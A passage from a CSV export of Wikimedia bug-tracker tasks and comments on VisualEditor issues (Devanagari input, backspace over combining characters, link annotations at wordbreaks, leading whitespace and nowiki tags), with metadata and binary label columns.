+**Severity**: major",High,80.0,1374029760,1384939424.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-vbuyxcfsri4ye35bdcvl,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+252199,VisualEditor: Reduce event rapid fire in CE,Yes.,,,1384939424,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vbuyxcfsri4ye35bdcvl,task_subcomment,,True,c1,3,True,,,20,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+252194,VisualEditor: Reduce event rapid fire in CE,Can we now deem this to have been done?,,,1381347404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vbuyxcfsri4ye35bdcvl,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0
+53477,VisualEditor: Typing in Devanagari puts vowels in unexpected places,"Typing in the Devanagari script causes very unusual placement of vowels in relation to consonants. The correct place to put the vowels is always after the preceding consonant, but the VisualEditor causes very strange placement.
+
+To try, I used the standard Hindi InScript keyboard (not ULS IME, but the operating system's InScript keyboard). I tried to type the word ""अंग्रेज़ी"" (the Hindi name of the English language).
+
+To get that word with the InScript keyboard, type the following keys on the English-US keyboard:
+
+Dxidjs;]r
+
+The expected result is ""अंग्रेज़ी"".
+
+The actual result on Firefox 22 is ""अंग्ेच़ीर"".
+
+The actual result on Chrome 28 is ""्रेची"".
+
+I tried this with Firefox 22 on Fedora 18.
+
+I mark this as blocker, because in this state the VisualEditor must not be widely deployed on a Wikipedia that uses the Devanagari script, such as Hindi (hi), Marathi (mr), Nepali (ne) or Sanskrit (sa) (there are a few more languages that use it). It's OK to have it as opt-in for testing on these wikis, though.
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker",High,80.0,1374009180,1377202382.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-vs2q4kkygajmjexkudzc,task_description,resolved,True,c1,3,False,False,True,2,,1,0,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+250407,VisualEditor: Typing in Devanagari puts vowels in unexpected places,master looks good to me. Thanks!,,,1377206151,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-vs2q4kkygajmjexkudzc,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+250400,VisualEditor: Typing in Devanagari puts vowels in unexpected places,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!",,,1377202382,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vs2q4kkygajmjexkudzc,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+250395,VisualEditor: Typing in Devanagari puts vowels in unexpected places,"Change 80080 merged by jenkins-bot:
+Don't emit Surface changes back to the Surface
+
+https://gerrit.wikimedia.org/r/80080",,,1377164925,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vs2q4kkygajmjexkudzc,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250390,VisualEditor: Typing in Devanagari puts vowels in unexpected places,"Change 80080 had a related patch set uploaded by Jforrester:
+WIP:Don't emit Surface changes back to the Surface
+
+https://gerrit.wikimedia.org/r/80080",,,1377027648,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vs2q4kkygajmjexkudzc,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250387,VisualEditor: Typing in Devanagari puts vowels in unexpected places,"Hi, thanks for the detailed error description with the en-US key equivalents -- it really helps!
+
+I *think* this is resolved by the following patch: https://gerrit.wikimedia.org/r/#/c/79451 . At least, the patch seems to fix the ""hindi inscript (m17n)"" ibus method on Linux.",,,1376935627,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-vs2q4kkygajmjexkudzc,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0
+53472,VisualEditor: Backspace deletes combined character clusters together with diacritics,"Some scripts, among them Arabic, Hebrew, and most scripts of India and SE Asia, are written as combinations of consonants and vowel marks that combine with them.
+
+In most text editors and word processors, when the cursor is after a combination of a consonant and a vowel, and the backspace key s pressed, the vowel is deleted first and the the consonant.
+
+For example if you have the Devanagari combination गा (ग [g] + ा [a]), these are two Unicode characters, which the font joins automatically. If the cursor is after them and you press the backspace key, then the second character ( ा) is supposed to be deleted, and only then the first (ग). That is what happens in most text editors, including MediaWiki's source editor.
+
+In the VisualEditor, backspace immediately deletes the whole cluster. This behavior is unexpected for most users.
+
+To complicate things, when the cursor is before the combined character and the Delete key is pressed, the expected behavior is to delete the whole cluster. This is what happens in the VisualEditor now, and this must be kept like that. For cursor movement, back and forth, the cluster must also be treated as one character, so if the cursor is before गा and the right-pointing arrow is pressed, the cursor is supposed to immediately go after the गा. This also works correctly now, and must be kept.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49233
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53757",High,80.0,1374007020,1385506960.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-cfoc7zk5vj22ygiycyil,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1
+250125,VisualEditor: Backspace deletes combined character clusters together with diacritics,"Change 80689 merged by jenkins-bot:
+Revert model to use simple UTF-16 code units
+
+https://gerrit.wikimedia.org/r/80689",,,1385506391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250118,VisualEditor: Backspace deletes combined character clusters together with diacritics,"Change 80689 had a related patch set uploaded by Divec:
+DONTMERGE:Revert model to use simple UTF-16 code units
+
+https://gerrit.wikimedia.org/r/80689",,,1384946958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250110,VisualEditor: Backspace deletes combined character clusters together with diacritics,There's code in progress to fix this in gerrit 80689 which is currently a work-in-progress.,,,1381269293,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+250100,VisualEditor: Backspace deletes combined character clusters together with diacritics,"This is how we expect backspace to work with our current support of grapheme clusters. As Denis points out, being able to delete combining marks separately would have to be enabled on a per script basis, as we wouldn't want to require multiple keystrokes to remove e-acute, or a Jamo-constructed Hangul character.",,,1374161590,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+250091,VisualEditor: Backspace deletes combined character clusters together with diacritics,"(In reply to comment #1)
+> Could this be a dupe of -
+> https://bugzilla.wikimedia.org/show_bug.cgi?id=49233  ?
+
+Well, that one is marked as FIXED, and this one is definitely not fixed on master.",,,1374132914,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1
+250081,VisualEditor: Backspace deletes combined character clusters together with diacritics,"The expected behaviour of backspace can be different with different writing systems.
+
+In Indic scripts, as explained in the bug description, the most common behaviour is that backspace should erase one characters and delete should erase a cluster. See http://publib.boulder.ibm.com/infocenter/hodhelp/v10r0/topic/com.ibm.hod.doc/help/hindi.html#hindispecialkeys
+http://www-archive.mozilla.org/projects/ctl/tests/#indiceditoper
+
+For other scripts it might be different, particularly for Latin, Greek and Cyrillic where, because of the precomposed accented characters, it is expected that characters and character sequences (base character + combining diacritic) that represent units will behave the same way, i.e. backspace and delete erase the base and diacritic, for example the single character à and the two characters ɛ̀ should be treated the same way.
+
+http://www.unicode.org/reports/tr29/#Grapheme_Cluster_Boundaries talks about this.",,,1374131873,,PHID-USER-i5at67w766dqxs6ncxam,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1
+250071,VisualEditor: Backspace deletes combined character clusters together with diacritics,"Could this be a dupe of -
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49233  ?",,,1374125163,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-cfoc7zk5vj22ygiycyil,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0
+53463,VisualEditor: Don't extend links over wordbreaks,"With bug 49931 we currently extend link annotations when typing at the end. This makes it very difficult to type plain text after a link at the end of a paragraph.
+
+We should change the logic to stop extending the annotation once a character is added that produces a new wordbreak.
+
+There may be some odd cases as wordbreak logic can depend on more that two characters, e.g. a' has a wordbreak but a's doesn't, so trying to add ""'s"" to the end of a link label would break after the ""'"" even though it wouldn't if ""'s"" was added as one operation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51442",High,80.0,1374001860,1374677110.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-fqzbhpnqgjp4qad6vrii,task_description,resolved,True,c1,3,True,False,True,2,,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+249675,VisualEditor: Don't extend links over wordbreaks,*** Bug 51531 has been marked as a duplicate of this bug. ***,,,1374679397,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fqzbhpnqgjp4qad6vrii,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+249667,VisualEditor: Don't extend links over wordbreaks,Fixed and will get deployed in a few minutes.,,,1374677110,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fqzbhpnqgjp4qad6vrii,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+249660,VisualEditor: Don't extend links over wordbreaks,"Change 74168 merged by jenkins-bot:
+Split continued link annotations on wordbreaks
+
+https://gerrit.wikimedia.org/r/74168",,,1374677027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fqzbhpnqgjp4qad6vrii,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249654,VisualEditor: Don't extend links over wordbreaks,"Change 74168 had a related patch set uploaded by Esanders:
+[WIP] Split continued link annotations on wordbreaks
+
+https://gerrit.wikimedia.org/r/74168",,,1374076760,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fqzbhpnqgjp4qad6vrii,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+53462,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"See, for example, https://en.wikipedia.org/w/index.php?title=Peaches_Does_Herself&diff=prev&oldid=564544238 and https://en.wikipedia.org/w/index.php?title=Carl_Rogers&diff=prev&oldid=564544061 - this is kinda a problem.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+{T53509}",High,80.0,1374001560,1377800127.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_description,resolved,True,c1,3,False,False,True,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+249632,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"(In reply to comment #12)
+> Reopening as this is still happening:
+> first nowiki after line 133 in
+> https://en.wikipedia.org/w/index.
+> php?title=Pet&diff=570614739&oldid=570586939 .
+
+That's almost certainly using a cached version of the code; I can't reproduce that on Chrome/Firefox/Safari/Opera on Mac or Linux.
+
+(In reply to comment #13)
+> I am also filing a related common problem we meet at it.wp.
+> If this is not the right place, just tell me and I'll copy/paste my report
+> elsewhere.
+
+Yeah, if you could file this as a new bug please - this is not related to removing whitespace from the start of paragraphs.",,,1377800127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+249627,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"I am also filing a related common problem we meet at it.wp.
+If this is not the right place, just tell me and I'll copy/paste my report elsewhere.
+
+We had troubles with nowikis being thrown right after some templates when the user did not add an extra space there, but simply edited something in that page. See https://it.wikipedia.org/w/index.php?title=Wikipedia&diff=61171396&oldid=61171228 .
+
+We actually found a workaround for this: https://it.wikipedia.org/w/index.php?title=Template:Quote&curid=224372&diff=61173726&oldid=60749506 but since this addition is apparently a nonsense, users demand that VE prevents that behaviour instead.
+
+They also think this is related to templates featuring some kind of table.
+
+I did some tests as well.
+I was able to reproduce an unwanted situation where the first line and the table (which is actually a template) were mingled in a non-editable block https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=61181542&oldid=61181524 .
+
+But I was also able to avoid nowikis, even if the extra span tags were not added to the template: as you can see here https://it.wikipedia.org/w/index.php?title=Utente:Elitre_(WMF)/Sandbox_VE&diff=prev&oldid=61181473, if the first letter of the line is actually closer to the template's final brace (with no space between), VEditing that page will result in the text getting automatically placed in a better position, and no nowikis in sight, even after multiple saves of the page.
+
+Thanks.",,,1377772919,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,False,,,8,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+249623,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"Reopening as this is still happening:
+first nowiki after line 133 in https://en.wikipedia.org/w/index.php?title=Pet&diff=570614739&oldid=570586939 .",,,1377770479,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+249618,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"Now fixed in the code; next scheduled deployment is not until 15 August,
+however. :-(",,,1375475243,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+249615,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"Change 77287 merged by jenkins-bot:
+Remove inserted leading whitespace
+
+https://gerrit.wikimedia.org/r/77287",,,1375470233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+249613,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"So I just implemented a fix for this, but it broke a test that asserts that whitespace inside a pre is untouched. I'll put it a check for <pre> elements but we should be aware that this is broken, because any element can have white-space:pre attached to it, e.g.
+
+<span style=""white-space:pre"">    Foo</span>
+
+Will now normalise to
+
+<span style=""white-space:pre"">Foo</span>
+
+Long term we should look into just warning the user.",,,1375449067,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,4,,1,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+249611,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"Change 77287 had a related patch set uploaded by Esanders:
+[WIP] Remove inserted leading whitepsace
+
+https://gerrit.wikimedia.org/r/77287",,,1375443506,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+249608,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"(In reply to comment #5)
+> With bug 50841 we now convert 
+> 
+> [space]Foo
+> 
+> to
+> 
+> <nowiki> </nowiki>Foo
+> 
+> (previously <nowiki> Foo</nowiki>)
+> 
+> This is the correct behaviour.
+
+Also, with gerrit 76223 VisualEditor users can now edit through <nowiki>s transparently.
+
+> Perhaps this, and other whitespace issues (e.g. double
+> spaces), should be flagged up to the user (with a wiggle underline?)
+
+That would be one solution that is quite generalisable, but could be a great deal more work.",,,1375208057,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,1
+249605,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,*** Bug 52252 has been marked as a duplicate of this bug. ***,,,1375203763,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+249601,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"With bug 50841 we now convert 
+
+[space]Foo
+
+to
+
+<nowiki> </nowiki>Foo
+
+(previously <nowiki> Foo</nowiki>)
+
+This is the correct behaviour.
+
+We should be careful going do the road of automatically correcting what we believe to be typos. Perhaps this, and other whitespace issues (e.g. double spaces), should be flagged up to the user (with a wiggle underline?)",,,1375201550,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+249598,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,*** Bug 51509 has been marked as a duplicate of this bug. ***,,,1374168615,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mu2vgsj5i4mlfiswzx4o,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+249594,VisualEditor: Strip whitespace from the start of paragraphs before sending to Parsoid,"Without whitespace stripping (either in VE or Parsoid) and no nowiki, that text will become <pre>-formatted.
+
+Quickly discussed with Gabriel on IRC. It is probably better fixed in VE since Parsoid doesn't have contextual information about where the space is meaningful or not.
+
